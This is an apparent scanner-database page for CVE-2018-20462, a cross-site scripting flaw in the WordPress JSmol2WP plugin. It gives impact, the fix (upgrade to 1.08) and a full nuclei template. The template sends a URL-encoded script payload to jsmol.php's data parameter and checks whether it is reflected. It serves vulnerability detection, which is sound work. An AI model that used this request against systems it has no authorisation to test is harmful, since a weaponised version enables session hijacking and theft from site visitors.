WordPress JSmol2WP <=1.07 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/jsmol2wp/readme.txt
Positive when: contains "JSmol2WP" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscrip…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-20462 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-20462

info:
  name: WordPress JSmol2WP <=1.07 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://wpvulndb.com/vulnerabilities/9196
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20462
    - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20462
    cwe-id: CWE-79
    epss-score: 0.0397
    epss-percentile: 0.90557
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "jsmol2wp_project"
    product: jsmol2wp
    framework: wordpress
  tags: cve2018,cve,wordpress,xss,wp-plugin,jsmol2wp_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'JSmol2WP'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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